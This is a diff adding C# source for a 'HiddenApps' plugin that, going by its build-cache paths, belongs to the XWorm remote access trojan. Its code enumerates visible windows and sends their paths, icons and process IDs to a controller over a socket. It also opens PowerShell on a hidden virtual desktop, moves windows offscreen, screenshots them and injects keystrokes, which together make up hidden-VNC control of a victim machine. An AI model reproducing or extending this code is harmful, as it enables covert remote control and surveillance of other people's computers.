[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetTopWindow(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindow(IntPtr hWnd, int nFlag);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
public static void EnumWindowsTopToDown(IntPtr owner, EnumHwndsPrint proc, object param)
|
||||
{
|
||||
IntPtr topWindow = GetTopWindow(owner);
|
||||
if (!(topWindow == IntPtr.Zero) && !((topWindow = GetWindow(topWindow, 1)) == IntPtr.Zero))
|
||||
{
|
||||
while (proc(topWindow, ref param) && (topWindow = GetWindow(topWindow, 3)) != IntPtr.Zero)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static bool EnumHwndsPrintMethod(IntPtr hWnd, ref object lParam)
|
||||
{
|
||||
if (!IsWindowVisible(hWnd))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
GetWindowRect(hWnd, out var lpRect);
|
||||
int num = lpRect.Right - lpRect.Left;
|
||||
int num2 = lpRect.Bottom - lpRect.Top;
|
||||
if (num < 100 && num2 < 100)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
if (!m_lstWindow.Contains(hWnd))
|
||||
{
|
||||
m_lstWindow.Add(hWnd);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public static string GetListWindow()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
EnumWindowsTopToDown(IntPtr.Zero, EnumHwndsPrintMethod, IntPtr.Zero);
|
||||
if (m_lstWindow.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
for (int i = m_lstWindow.Count - 1; i > -1; i += -1)
|
||||
{
|
||||
lock (SyncLock)
|
||||
{
|
||||
IntPtr hWnd = m_lstWindow[i];
|
||||
NativeMethodsVNC.GetWindowThreadProcessId(hWnd, out var processId);
|
||||
if (processId == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string mainModuleFilepath = NativeMethodsVNC.GetMainModuleFilepath(processId);
|
||||
if (File.Exists(mainModuleFilepath))
|
||||
{
|
||||
Icon original = Icon.ExtractAssociatedIcon(mainModuleFilepath);
|
||||
Icon icon = new Icon(original, new Size(20, 20));
|
||||
Bitmap bitmap = new Bitmap(icon.ToBitmap(), new Size(20, 20));
|
||||
MemoryStream memoryStream = new MemoryStream();
|
||||
bitmap.Save(memoryStream, ImageFormat.Png);
|
||||
stringBuilder.Append(mainModuleFilepath + "-==>" + i + "-==>" + Convert.ToBase64String(memoryStream.ToArray()) + "-==>" + processId + "-==>");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ClientSocket.Send("WindowsList" + Settings.SPL + Settings.IDD + Settings.SPL + stringBuilder.ToString());
|
||||
}
|
||||
catch
|
||||
{
|
||||
Helper.MsgLogs("An error occurred while importing the list of windows");
|
||||
}
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public static void MoveWindow(IntPtr intPtr, int LX, int LY, int Width, int Height)
|
||||
{
|
||||
NativeMethodsVNC.SetWindowPos(intPtr, IntPtr.Zero, LX, LY, Width, Height, NativeMethodsVNC.SetWindowPosFlags.DoNotChangeOwnerZOrder | NativeMethodsVNC.SetWindowPosFlags.IgnoreResize);
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int cx, int cy, uint uFlags);
|
||||
|
||||
public static void ResizeWondow(IntPtr intPtr, int LX, int LY, int Width, int Height)
|
||||
{
|
||||
try
|
||||
{
|
||||
SetWindowPos(intPtr, (IntPtr)1, LX, LY, Width, Height, 64u);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static bool InitializingWindow(int IndexWindow, int Width, int Height)
|
||||
{
|
||||
if (m_lstWindow.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Helper.MsgLogs("Initializing window...");
|
||||
foreach (IntPtr item in m_lstWindow)
|
||||
{
|
||||
MoveWindow(item, 5000, 5000, Width, Height);
|
||||
}
|
||||
if (WindowCheck(m_lstWindow[IndexWindow]))
|
||||
{
|
||||
ResizeWondow(m_lstWindow[IndexWindow], 0, 0, Width, Height);
|
||||
IsWindowActived = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
IsWindowActived = false;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return IsWindowActived;
|
||||
}
|
||||
|
||||
public static bool WindowCheck(IntPtr hWnd)
|
||||
{
|
||||
if (!User32.IsWindowVisible(hWnd))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
User32.RECT rect = default(User32.RECT);
|
||||
User32.GetWindowRect(hWnd, ref rect);
|
||||
int num = rect.right - rect.left;
|
||||
int num2 = rect.bottom - rect.top;
|
||||
if (num < 100 && num2 < 100)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.HandleVNC.NativeMethodsVNC
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public static class NativeMethodsVNC
|
||||
{
|
||||
public struct RECT
|
||||
{
|
||||
public int teft;
|
||||
|
||||
public int top;
|
||||
|
||||
public int bight;
|
||||
|
||||
public int bottom;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum SetWindowPosFlags : uint
|
||||
{
|
||||
AsynchronousWindowPosition = 0x4000u,
|
||||
DeferErase = 0x2000u,
|
||||
DrawFrame = 0x20u,
|
||||
FrameChanged = 0x20u,
|
||||
HideWindow = 0x80u,
|
||||
DoNotActivate = 0x10u,
|
||||
DoNotCopyBits = 0x100u,
|
||||
IgnoreMove = 2u,
|
||||
DoNotChangeOwnerZOrder = 0x200u,
|
||||
DoNotRedraw = 8u,
|
||||
DoNotReposition = 0x200u,
|
||||
DoNotSendChangingEvent = 0x400u,
|
||||
IgnoreResize = 1u,
|
||||
IgnoreZOrder = 4u,
|
||||
ShowWindow = 0x40u
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, SetWindowPosFlags uFlags);
|
||||
|
||||
[DllImport("user32")]
|
||||
public static extern int GetWindowThreadProcessId(IntPtr hWnd, out int processId);
|
||||
|
||||
public static string GetMainModuleFilepath(int id)
|
||||
{
|
||||
string queryString = "SELECT ProcessId, ExecutablePath FROM Win32_Process WHERE ProcessId = " + id;
|
||||
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(queryString))
|
||||
{
|
||||
ManagementObjectCollection source = managementObjectSearcher.Get();
|
||||
ManagementObject managementObject = source.Cast<ManagementObject>().FirstOrDefault();
|
||||
if (managementObject != null)
|
||||
{
|
||||
return Convert.ToString(managementObject["ExecutablePath"]);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.OpenApp.HandleClipboard
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
public class HandleClipboard
|
||||
{
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
public static void Paste(string k)
|
||||
{
|
||||
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(k));
|
||||
for (int i = 0; i < @string.Length; i++)
|
||||
{
|
||||
int num = Strings.AscW(@string[i].ToString());
|
||||
if (num == 8 || num == 13)
|
||||
{
|
||||
PostMessage(Helper.WindowrActive, 256u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string[i].ToString()))), CreateLParamFor_WM_KEYDOWN(1, 30, IsExtendedKey: false, DownBefore: false));
|
||||
PostMessage(Helper.WindowrActive, 257u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string[i].ToString()))), CreateLParamFor_WM_KEYUP(1, 30, IsExtendedKey: false));
|
||||
}
|
||||
else
|
||||
{
|
||||
PostMessage(Helper.WindowrActive, 258u, (IntPtr)Strings.AscW(@string[i].ToString()), (IntPtr)1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore: true, State: true);
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, State: false);
|
||||
}
|
||||
|
||||
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
|
||||
{
|
||||
int num = RepeatCount | (ushort)(ScanCode << 16);
|
||||
if (IsExtendedKey)
|
||||
{
|
||||
num |= 0x10000;
|
||||
}
|
||||
if (DownBefore)
|
||||
{
|
||||
num |= 0x40000000;
|
||||
}
|
||||
if (State)
|
||||
{
|
||||
num = (int)((long)num | -2147483648L);
|
||||
}
|
||||
return new IntPtr(num);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.PowerShell
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
public class PowerShell
|
||||
{
|
||||
private static readonly string fileNamePowerShell = Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\WindowsPowerShell\\v1.0\\powershell.exe";
|
||||
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!File.Exists(fileNamePowerShell))
|
||||
{
|
||||
Helper.MsgLogs("PowerShell: Not Found!");
|
||||
return;
|
||||
}
|
||||
SetCurrentVirtualDesktop.CreateProcess(fileNamePowerShell, Helper.HVNCDesktopName, bAppName: false);
|
||||
Helper.MsgLogs("PowerShell: Running");
|
||||
Thread.Sleep(3000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
GetHandleWindow.GetListWindow();
|
||||
}
|
||||
catch
|
||||
{
|
||||
Helper.MsgLogs("PowerShell: Running");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("HiddenApps")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("HiddenApps")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("f18a30e2-9969-461d-9faa-628d9b0ee829")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -0,0 +1,45 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.ScreenshotCapture
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal sealed class ScreenshotCapture
|
||||
{
|
||||
private class User32
|
||||
{
|
||||
public struct Rect
|
||||
{
|
||||
public int left;
|
||||
|
||||
public int top;
|
||||
|
||||
public int right;
|
||||
|
||||
public int bottom;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
|
||||
}
|
||||
|
||||
public static Bitmap CaptureWindow(IntPtr handle)
|
||||
{
|
||||
User32.Rect rect = default(User32.Rect);
|
||||
User32.GetWindowRect(handle, ref rect);
|
||||
int num = rect.right - rect.left;
|
||||
int num2 = rect.bottom - rect.top;
|
||||
int x = Helper.X;
|
||||
int y = Helper.Y;
|
||||
Bitmap bitmap = ((!Helper.Resize) ? new Bitmap(num + 1, num2 + 1) : new Bitmap(x + 1, y + 1));
|
||||
using (Graphics graphics = Graphics.FromImage(bitmap))
|
||||
{
|
||||
IntPtr hdc = graphics.GetHdc();
|
||||
User32.PrintWindow(handle, hdc, 2u);
|
||||
}
|
||||
return bitmap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace bozman
|
||||
{
|
||||
public class WDir
|
||||
{
|
||||
public static string SystemDirectory = Path.GetPathRoot(Environment.SystemDirectory);
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
+4
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
||||
+4
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
|
||||
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
75f5db332c2f7f4450ec393d244d9edc475a7a3cf18414e73f424237866e4857
|
||||
@@ -0,0 +1,75 @@
|
||||
C:\Users\XCoder\source\repos\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\source\repos\HiddenApps\HiddenApps\bin\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\source\repos\HiddenApps\HiddenApps\bin\Debug\HiddenApps.pdb
|
||||
C:\Users\XCoder\source\repos\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\source\repos\HiddenApps\HiddenApps\obj\Debug\HiddenApps.pdb
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.AssemblyReference.cache
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csprojAssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\XWorm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\XWorm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
C:\Users\byt3d4sh\Desktop\src 2\XWorm\bin\Debug\Plugins\HiddenApps.dll
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HiddenApps\HiddenApps\obj\Debug\HiddenApps.dll
|
||||
Binary file not shown.
Binary file not shown.
+4
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
||||
+4
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
|
||||
Binary file not shown.
@@ -0,0 +1 @@
|
||||
aaa15bfd2287a4168bedad8037455d0806efe53abc8bc16221fbf279d62d6215
|
||||
@@ -0,0 +1,6 @@
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\bin\Release\HiddenApps.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\bin\Release\HiddenApps.pdb
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Release\HiddenApps.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Release\HiddenApps.csproj.CoreCompileInputs.cache
|
||||
